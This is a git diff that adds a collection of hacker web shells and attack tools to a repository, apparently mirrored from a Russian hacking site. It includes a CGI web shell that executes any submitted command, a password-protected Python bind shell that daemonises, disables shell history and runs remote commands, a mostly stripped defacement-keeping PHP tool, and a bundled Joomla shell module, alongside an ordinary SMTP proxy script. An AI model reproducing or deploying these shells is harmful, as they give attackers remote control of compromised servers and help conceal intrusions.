+ scriptname = os.environ["SCRIPT_NAME"]
+else:
+ scriptname = ""
+
+METHOD = '"POST"'
+
+################################################################
+# Private functions and variables
+
+def getform(valuelist, theform, notpresent=''):
+ """This function, given a CGI form, extracts the data from it, based on
+ valuelist passed in. Any non-present values are set to '' - although this can be changed.
+ (e.g. to return None so you can test for missing keywords - where '' is a valid answer but to have the field missing isn't.)"""
+ data = {}
+ for field in valuelist:
+ if not theform.has_key(field):
+ data[field] = notpresent
+ else:
+ if type(theform[field]) != type([]):
+ data[field] = theform[field].value
+ else:
+ values = map(lambda x: x.value, theform[field]) # allows for list type values
+ data[field] = values
+ return data
+
+
+theformhead = """cgi-shell.py - a CGI by Fuzzyman
+
+Welcome to cgi-shell.py - a Python CGI
+By Fuzzyman
+"""+fontline +"Version : " + versionstring + """, Running on : """ + strftime('%I:%M %p, %A %d %B, %Y')+'. '
+
+theform = """Enter Command
+
+
+
+ """
+bodyend = ''
+errormess = 'Something Went Wrong '
+
+################################################################
+# main body of the script
+
+if __name__ == '__main__':
+ print "Content-type: text/html" # this is the header to the server
+ print # so is this blank line
+ form = cgi.FieldStorage()
+ data = getform(['cmd'],form)
+ thecmd = data['cmd']
+ print theformhead
+ print theform
+ if thecmd:
+ print ' '
+ print 'Command : ', thecmd, ' '
+ print 'Result : '
+ try:
+ child_stdin, child_stdout = os.popen2(thecmd)
+ child_stdin.close()
+ result = child_stdout.read()
+ child_stdout.close()
+ print result.replace('\n', ' ')
+
+ except Exception, e: # an error in executing the command
+ print errormess
+ f = StringIO()
+ print_exc(file=f)
+ a = f.getvalue().splitlines()
+ for line in a:
+ print line
+
+ print bodyend
+
+
+"""
+TODO/ISSUES
+
+
+
+CHANGELOG
+
+07-07-04 Version 1.0.0
+A very basic system for executing shell commands.
+I may expand it into a proper 'environment' with session persistence...
+"""
diff --git a/xakep-shells/PY/smtpd.py.txt b/xakep-shells/PY/smtpd.py.txt
new file mode 100644
index 0000000..7acf12b
--- /dev/null
+++ b/xakep-shells/PY/smtpd.py.txt
@@ -0,0 +1,549 @@
+#!/usr/local/bin/python
+"""An RFC 2821 smtp proxy.
+
+Usage: %(program)s [options] [localhost:localport [remotehost:remoteport]]
+
+Options:
+
+ --nosetuid
+ -n
+ This program generally tries to setuid `nobody', unless this flag is
+ set. The setuid call will fail if this program is not run as root (in
+ which case, use this flag).
+
+ --version
+ -V
+ Print the version number and exit.
+
+ --class classname
+ -c classname
+ Use `classname' as the concrete SMTP proxy class. Uses `PureProxy' by
+ default.
+
+ --debug
+ -d
+ Turn on debugging prints.
+
+ --help
+ -h
+ Print this message and exit.
+
+Version: %(__version__)s
+
+If localhost is not given then `localhost' is used, and if localport is not
+given then 8025 is used. If remotehost is not given then `localhost' is used,
+and if remoteport is not given, then 25 is used.
+"""
+
+
+# Overview:
+#
+# This file implements the minimal SMTP protocol as defined in RFC 821. It
+# has a hierarchy of classes which implement the backend functionality for the
+# smtpd. A number of classes are provided:
+#
+# SMTPServer - the base class for the backend. Raises NotImplementedError
+# if you try to use it.
+#
+# DebuggingServer - simply prints each message it receives on stdout.
+#
+# PureProxy - Proxies all messages to a real smtpd which does final
+# delivery. One known problem with this class is that it doesn't handle
+# SMTP errors from the backend server at all. This should be fixed
+# (contributions are welcome!).
+#
+# MailmanProxy - An experimental hack to work with GNU Mailman
+# . Using this server as your real incoming smtpd, your
+# mailhost will automatically recognize and accept mail destined to Mailman
+# lists when those lists are created. Every message not destined for a list
+# gets forwarded to a real backend smtpd, as with PureProxy. Again, errors
+# are not handled correctly yet.
+#
+# Please note that this script requires Python 2.0
+#
+# Author: Barry Warsaw
+#
+# TODO:
+#
+# - support mailbox delivery
+# - alias files
+# - ESMTP
+# - handle error codes from the backend smtpd
+
+import sys
+import os
+import errno
+import getopt
+import time
+import socket
+import asyncore
+import asynchat
+
+__all__ = ["SMTPServer","DebuggingServer","PureProxy","MailmanProxy"]
+
+program = sys.argv[0]
+__version__ = 'Python SMTP proxy version 0.2'
+
+
+class Devnull:
+ def write(self, msg): pass
+ def flush(self): pass
+
+
+DEBUGSTREAM = Devnull()
+NEWLINE = '\n'
+EMPTYSTRING = ''
+COMMASPACE = ', '
+
+
+
+def usage(code, msg=''):
+ print >> sys.stderr, __doc__ % globals()
+ if msg:
+ print >> sys.stderr, msg
+ sys.exit(code)
+
+
+
+class SMTPChannel(asynchat.async_chat):
+ COMMAND = 0
+ DATA = 1
+
+ def __init__(self, server, conn, addr):
+ asynchat.async_chat.__init__(self, conn)
+ self.__server = server
+ self.__conn = conn
+ self.__addr = addr
+ self.__line = []
+ self.__state = self.COMMAND
+ self.__greeting = 0
+ self.__mailfrom = None
+ self.__rcpttos = []
+ self.__data = ''
+ self.__fqdn = socket.getfqdn()
+ self.__peer = conn.getpeername()
+ print >> DEBUGSTREAM, 'Peer:', repr(self.__peer)
+ self.push('220 %s %s' % (self.__fqdn, __version__))
+ self.set_terminator('\r\n')
+
+ # Overrides base class for convenience
+ def push(self, msg):
+ asynchat.async_chat.push(self, msg + '\r\n')
+
+ # Implementation of base class abstract method
+ def collect_incoming_data(self, data):
+ self.__line.append(data)
+
+ # Implementation of base class abstract method
+ def found_terminator(self):
+ line = EMPTYSTRING.join(self.__line)
+ print >> DEBUGSTREAM, 'Data:', repr(line)
+ self.__line = []
+ if self.__state == self.COMMAND:
+ if not line:
+ self.push('500 Error: bad syntax')
+ return
+ method = None
+ i = line.find(' ')
+ if i < 0:
+ command = line.upper()
+ arg = None
+ else:
+ command = line[:i].upper()
+ arg = line[i+1:].strip()
+ method = getattr(self, 'smtp_' + command, None)
+ if not method:
+ self.push('502 Error: command "%s" not implemented' % command)
+ return
+ method(arg)
+ return
+ else:
+ if self.__state != self.DATA:
+ self.push('451 Internal confusion')
+ return
+ # Remove extraneous carriage returns and de-transparency according
+ # to RFC 821, Section 4.5.2.
+ data = []
+ for text in line.split('\r\n'):
+ if text and text[0] == '.':
+ data.append(text[1:])
+ else:
+ data.append(text)
+ self.__data = NEWLINE.join(data)
+ status = self.__server.process_message(self.__peer,
+ self.__mailfrom,
+ self.__rcpttos,
+ self.__data)
+ self.__rcpttos = []
+ self.__mailfrom = None
+ self.__state = self.COMMAND
+ self.set_terminator('\r\n')
+ if not status:
+ self.push('250 Ok')
+ else:
+ self.push(status)
+
+ # SMTP and ESMTP commands
+ def smtp_HELO(self, arg):
+ if not arg:
+ self.push('501 Syntax: HELO hostname')
+ return
+ if self.__greeting:
+ self.push('503 Duplicate HELO/EHLO')
+ else:
+ self.__greeting = arg
+ self.push('250 %s' % self.__fqdn)
+
+ def smtp_NOOP(self, arg):
+ if arg:
+ self.push('501 Syntax: NOOP')
+ else:
+ self.push('250 Ok')
+
+ def smtp_QUIT(self, arg):
+ # args is ignored
+ self.push('221 Bye')
+ self.close_when_done()
+
+ # factored
+ def __getaddr(self, keyword, arg):
+ address = None
+ keylen = len(keyword)
+ if arg[:keylen].upper() == keyword:
+ address = arg[keylen:].strip()
+ if not address:
+ pass
+ elif address[0] == '<' and address[-1] == '>' and address != '<>':
+ # Addresses can be in the form but watch out
+ # for null address, e.g. <>
+ address = address[1:-1]
+ return address
+
+ def smtp_MAIL(self, arg):
+ print >> DEBUGSTREAM, '===> MAIL', arg
+ address = self.__getaddr('FROM:', arg)
+ if not address:
+ self.push('501 Syntax: MAIL FROM:')
+ return
+ if self.__mailfrom:
+ self.push('503 Error: nested MAIL command')
+ return
+ self.__mailfrom = address
+ print >> DEBUGSTREAM, 'sender:', self.__mailfrom
+ self.push('250 Ok')
+
+ def smtp_RCPT(self, arg):
+ print >> DEBUGSTREAM, '===> RCPT', arg
+ if not self.__mailfrom:
+ self.push('503 Error: need MAIL command')
+ return
+ address = self.__getaddr('TO:', arg)
+ if not address:
+ self.push('501 Syntax: RCPT TO: ')
+ return
+ self.__rcpttos.append(address)
+ print >> DEBUGSTREAM, 'recips:', self.__rcpttos
+ self.push('250 Ok')
+
+ def smtp_RSET(self, arg):
+ if arg:
+ self.push('501 Syntax: RSET')
+ return
+ # Resets the sender, recipients, and data, but not the greeting
+ self.__mailfrom = None
+ self.__rcpttos = []
+ self.__data = ''
+ self.__state = self.COMMAND
+ self.push('250 Ok')
+
+ def smtp_DATA(self, arg):
+ if not self.__rcpttos:
+ self.push('503 Error: need RCPT command')
+ return
+ if arg:
+ self.push('501 Syntax: DATA')
+ return
+ self.__state = self.DATA
+ self.set_terminator('\r\n.\r\n')
+ self.push('354 End data with .')
+
+
+
+class SMTPServer(asyncore.dispatcher):
+ def __init__(self, localaddr, remoteaddr):
+ self._localaddr = localaddr
+ self._remoteaddr = remoteaddr
+ asyncore.dispatcher.__init__(self)
+ self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
+ # try to re-use a server port if possible
+ self.set_reuse_addr()
+ self.bind(localaddr)
+ self.listen(5)
+ print >> DEBUGSTREAM, \
+ '%s started at %s\n\tLocal addr: %s\n\tRemote addr:%s' % (
+ self.__class__.__name__, time.ctime(time.time()),
+ localaddr, remoteaddr)
+
+ def handle_accept(self):
+ conn, addr = self.accept()
+ print >> DEBUGSTREAM, 'Incoming connection from %s' % repr(addr)
+ channel = SMTPChannel(self, conn, addr)
+
+ # API for "doing something useful with the message"
+ def process_message(self, peer, mailfrom, rcpttos, data):
+ """Override this abstract method to handle messages from the client.
+
+ peer is a tuple containing (ipaddr, port) of the client that made the
+ socket connection to our smtp port.
+
+ mailfrom is the raw address the client claims the message is coming
+ from.
+
+ rcpttos is a list of raw addresses the client wishes to deliver the
+ message to.
+
+ data is a string containing the entire full text of the message,
+ headers (if supplied) and all. It has been `de-transparencied'
+ according to RFC 821, Section 4.5.2. In other words, a line
+ containing a `.' followed by other text has had the leading dot
+ removed.
+
+ This function should return None, for a normal `250 Ok' response;
+ otherwise it returns the desired response string in RFC 821 format.
+
+ """
+ raise NotImplementedError
+
+
+
+class DebuggingServer(SMTPServer):
+ # Do something with the gathered message
+ def process_message(self, peer, mailfrom, rcpttos, data):
+ inheaders = 1
+ lines = data.split('\n')
+ print '---------- MESSAGE FOLLOWS ----------'
+ for line in lines:
+ # headers first
+ if inheaders and not line:
+ print 'X-Peer:', peer[0]
+ inheaders = 0
+ print line
+ print '------------ END MESSAGE ------------'
+
+
+
+class PureProxy(SMTPServer):
+ def process_message(self, peer, mailfrom, rcpttos, data):
+ lines = data.split('\n')
+ # Look for the last header
+ i = 0
+ for line in lines:
+ if not line:
+ break
+ i += 1
+ lines.insert(i, 'X-Peer: %s' % peer[0])
+ data = NEWLINE.join(lines)
+ refused = self._deliver(mailfrom, rcpttos, data)
+ # TBD: what to do with refused addresses?
+ print >> DEBUGSTREAM, 'we got some refusals:', refused
+
+ def _deliver(self, mailfrom, rcpttos, data):
+ import smtplib
+ refused = {}
+ try:
+ s = smtplib.SMTP()
+ s.connect(self._remoteaddr[0], self._remoteaddr[1])
+ try:
+ refused = s.sendmail(mailfrom, rcpttos, data)
+ finally:
+ s.quit()
+ except smtplib.SMTPRecipientsRefused, e:
+ print >> DEBUGSTREAM, 'got SMTPRecipientsRefused'
+ refused = e.recipients
+ except (socket.error, smtplib.SMTPException), e:
+ print >> DEBUGSTREAM, 'got', e.__class__
+ # All recipients were refused. If the exception had an associated
+ # error code, use it. Otherwise,fake it with a non-triggering
+ # exception code.
+ errcode = getattr(e, 'smtp_code', -1)
+ errmsg = getattr(e, 'smtp_error', 'ignore')
+ for r in rcpttos:
+ refused[r] = (errcode, errmsg)
+ return refused
+
+
+
+class MailmanProxy(PureProxy):
+ def process_message(self, peer, mailfrom, rcpttos, data):
+ from cStringIO import StringIO
+ from Mailman import Utils
+ from Mailman import Message
+ from Mailman import MailList
+ # If the message is to a Mailman mailing list, then we'll invoke the
+ # Mailman script directly, without going through the real smtpd.
+ # Otherwise we'll forward it to the local proxy for disposition.
+ listnames = []
+ for rcpt in rcpttos:
+ local = rcpt.lower().split('@')[0]
+ # We allow the following variations on the theme
+ # listname
+ # listname-admin
+ # listname-owner
+ # listname-request
+ # listname-join
+ # listname-leave
+ parts = local.split('-')
+ if len(parts) > 2:
+ continue
+ listname = parts[0]
+ if len(parts) == 2:
+ command = parts[1]
+ else:
+ command = ''
+ if not Utils.list_exists(listname) or command not in (
+ '', 'admin', 'owner', 'request', 'join', 'leave'):
+ continue
+ listnames.append((rcpt, listname, command))
+ # Remove all list recipients from rcpttos and forward what we're not
+ # going to take care of ourselves. Linear removal should be fine
+ # since we don't expect a large number of recipients.
+ for rcpt, listname, command in listnames:
+ rcpttos.remove(rcpt)
+ # If there's any non-list destined recipients left,
+ print >> DEBUGSTREAM, 'forwarding recips:', ' '.join(rcpttos)
+ if rcpttos:
+ refused = self._deliver(mailfrom, rcpttos, data)
+ # TBD: what to do with refused addresses?
+ print >> DEBUGSTREAM, 'we got refusals:', refused
+ # Now deliver directly to the list commands
+ mlists = {}
+ s = StringIO(data)
+ msg = Message.Message(s)
+ # These headers are required for the proper execution of Mailman. All
+ # MTAs in existance seem to add these if the original message doesn't
+ # have them.
+ if not msg.getheader('from'):
+ msg['From'] = mailfrom
+ if not msg.getheader('date'):
+ msg['Date'] = time.ctime(time.time())
+ for rcpt, listname, command in listnames:
+ print >> DEBUGSTREAM, 'sending message to', rcpt
+ mlist = mlists.get(listname)
+ if not mlist:
+ mlist = MailList.MailList(listname, lock=0)
+ mlists[listname] = mlist
+ # dispatch on the type of command
+ if command == '':
+ # post
+ msg.Enqueue(mlist, tolist=1)
+ elif command == 'admin':
+ msg.Enqueue(mlist, toadmin=1)
+ elif command == 'owner':
+ msg.Enqueue(mlist, toowner=1)
+ elif command == 'request':
+ msg.Enqueue(mlist, torequest=1)
+ elif command in ('join', 'leave'):
+ # TBD: this is a hack!
+ if command == 'join':
+ msg['Subject'] = 'subscribe'
+ else:
+ msg['Subject'] = 'unsubscribe'
+ msg.Enqueue(mlist, torequest=1)
+
+
+
+class Options:
+ setuid = 1
+ classname = 'PureProxy'
+
+
+
+def parseargs():
+ global DEBUGSTREAM
+ try:
+ opts, args = getopt.getopt(
+ sys.argv[1:], 'nVhc:d',
+ ['class=', 'nosetuid', 'version', 'help', 'debug'])
+ except getopt.error, e:
+ usage(1, e)
+
+ options = Options()
+ for opt, arg in opts:
+ if opt in ('-h', '--help'):
+ usage(0)
+ elif opt in ('-V', '--version'):
+ print >> sys.stderr, __version__
+ sys.exit(0)
+ elif opt in ('-n', '--nosetuid'):
+ options.setuid = 0
+ elif opt in ('-c', '--class'):
+ options.classname = arg
+ elif opt in ('-d', '--debug'):
+ DEBUGSTREAM = sys.stderr
+
+ # parse the rest of the arguments
+ if len(args) < 1:
+ localspec = 'localhost:8025'
+ remotespec = 'localhost:25'
+ elif len(args) < 2:
+ localspec = args[0]
+ remotespec = 'localhost:25'
+ elif len(args) < 3:
+ localspec = args[0]
+ remotespec = args[1]
+ else:
+ usage(1, 'Invalid arguments: %s' % COMMASPACE.join(args))
+
+ # split into host/port pairs
+ i = localspec.find(':')
+ if i < 0:
+ usage(1, 'Bad local spec: %s' % localspec)
+ options.localhost = localspec[:i]
+ try:
+ options.localport = int(localspec[i+1:])
+ except ValueError:
+ usage(1, 'Bad local port: %s' % localspec)
+ i = remotespec.find(':')
+ if i < 0:
+ usage(1, 'Bad remote spec: %s' % remotespec)
+ options.remotehost = remotespec[:i]
+ try:
+ options.remoteport = int(remotespec[i+1:])
+ except ValueError:
+ usage(1, 'Bad remote port: %s' % remotespec)
+ return options
+
+
+
+if __name__ == '__main__':
+ options = parseargs()
+ # Become nobody
+ if options.setuid:
+ try:
+ import pwd
+ except ImportError:
+ print >> sys.stderr, \
+ 'Cannot import module "pwd"; try running with -n option.'
+ sys.exit(1)
+ nobody = pwd.getpwnam('nobody')[2]
+ try:
+ os.setuid(nobody)
+ except OSError, e:
+ if e.errno != errno.EPERM: raise
+ print >> sys.stderr, \
+ 'Cannot setuid "nobody"; try running with -n option.'
+ sys.exit(1)
+ classname = options.classname
+ if "." in classname:
+ lastdot = classname.rfind(".")
+ mod = __import__(classname[:lastdot], globals(), locals(), [""])
+ classname = classname[lastdot+1:]
+ else:
+ import __main__ as mod
+ class_ = getattr(mod, classname)
+ proxy = class_((options.localhost, options.localport),
+ (options.remotehost, options.remoteport))
+ try:
+ asyncore.loop()
+ except KeyboardInterrupt:
+ pass
diff --git a/xakep-shells/PY/wh_bindshell.py.txt b/xakep-shells/PY/wh_bindshell.py.txt
new file mode 100644
index 0000000..5a05e32
--- /dev/null
+++ b/xakep-shells/PY/wh_bindshell.py.txt
@@ -0,0 +1,86 @@
+#!/usr/bin/env python
+#####################
+#Coded by ~S/E/r/G~
+#mailto:serg[dot]web-hack.ru
+#version 1.2.1
+#
+#Use: python wh_bindshell.py [port] [password] | python wh_bindshell.py - for use
+# default_settings
+#for make password:
+# python -c"import md5;x=md5.new('you_password');print x.hexdigest()"
+#
+#bugz: ctrl+c etc =script stoped=\ (after reconnect it work)
+
+from socket import *
+import os
+import sys
+import md5
+import popen2
+
+#############_Default_#####################
+Port=50001 #_default port
+Pass ='ac0b72df8bd2939ca4d1466d11c9846b' #_default password ='web-hack'
+simvol='$ ' #_prompt
+autocommands="unset HISTFILE;uname -a;id" #autostart=)
+kill_bsh='kbsh' #command for kill bindshell
+##########################################
+if len(sys.argv)>1:
+ Port=int(sys.argv[1])
+ print '[+]Port=',sys.argv[1]
+ if len(sys.argv)>2:
+ Pass=str(md5.new(sys.argv[2]).hexdigest())
+ print '[+]New_pass'
+
+try:
+ sockobj=socket(AF_INET,SOCK_STREAM)
+ sockobj.bind(('',Port))
+ sockobj.listen(5)
+except:
+ print '[-]SocketError',sys.exc_value
+ sys.exit(1)
+
+if os.fork()==0: #for start bindshell as proc and exit
+ while 1:
+ connection,address=sockobj.accept()
+ data=connection.recv(1024)
+ getpass=md5.new(data[:-2])
+ bsh_pid=os.getpid()
+ if getpass.hexdigest()==Pass:
+ if os.fork()==0:
+ info=os.popen(autocommands).read()
+ connection.send(info)
+ while 1:
+ data=connection.recv(1024)
+ if not data:break
+ if data[:-2]==kill_bsh:
+ os.popen('kill '+str(bsh_pid))
+ sys.exit(0)
+ cmd_res,stdin,stderror=popen2.popen3(data[:-2])
+ result= cmd_res.read()
+ error=stderror.read()
+ if error:
+ connection.send(error)
+
+ for i in range(len(data.split())-1):
+ if 'cd' in data.split()[i]:
+ try:
+ os.chdir(data.split()[i+1].split(';')[0])
+ except:
+ error='[-]Error '+str(sys.exc_value)+'\n'
+ connection.send(error)
+ ###Prompt
+ username=os.popen("whoami").read()
+ adr=os.popen("uname -n").read()
+ if username[:-1]=='root':
+ simvol='# '
+ path=os.getcwd()
+ promt='['+username[:-1]+'@'+adr[:-1]+' '+path+']'+simvol
+ ###
+ answer=result+promt
+ connection.send(answer)
+ else:
+ connection.close()
+sys.exit(0)
+
+
+
diff --git a/xakep-shells/README.md b/xakep-shells/README.md
new file mode 100644
index 0000000..bf2c952
--- /dev/null
+++ b/xakep-shells/README.md
@@ -0,0 +1 @@
+from http://files.xakep.biz/shells/
diff --git a/xakep-shells/others/mod_joomla_shell.PNG b/xakep-shells/others/mod_joomla_shell.PNG
new file mode 100644
index 0000000..21b0f59
Binary files /dev/null and b/xakep-shells/others/mod_joomla_shell.PNG differ
diff --git a/xakep-shells/others/mod_joomla_shell.zip b/xakep-shells/others/mod_joomla_shell.zip
new file mode 100644
index 0000000..0462780
Binary files /dev/null and b/xakep-shells/others/mod_joomla_shell.zip differ
diff --git a/xakep-shells/others/tools/DefaceKeeper_0.2.php.txt b/xakep-shells/others/tools/DefaceKeeper_0.2.php.txt
new file mode 100644
index 0000000..27673f5
--- /dev/null
+++ b/xakep-shells/others/tools/DefaceKeeper_0.2.php.txt
@@ -0,0 +1,40 @@
+
+Deface Keeper 0.2
+
+
+
+Deface Keeper 0.2
+-=[definside editi0n]=-
+
+//
+
+
+
+target fi1e:
+s1eeep time:
+
+
+Idea & Design: wt0vremr
+C0de & Release: Floord
+© 2010, www.k0d.cc
+
+
+
+
\ No newline at end of file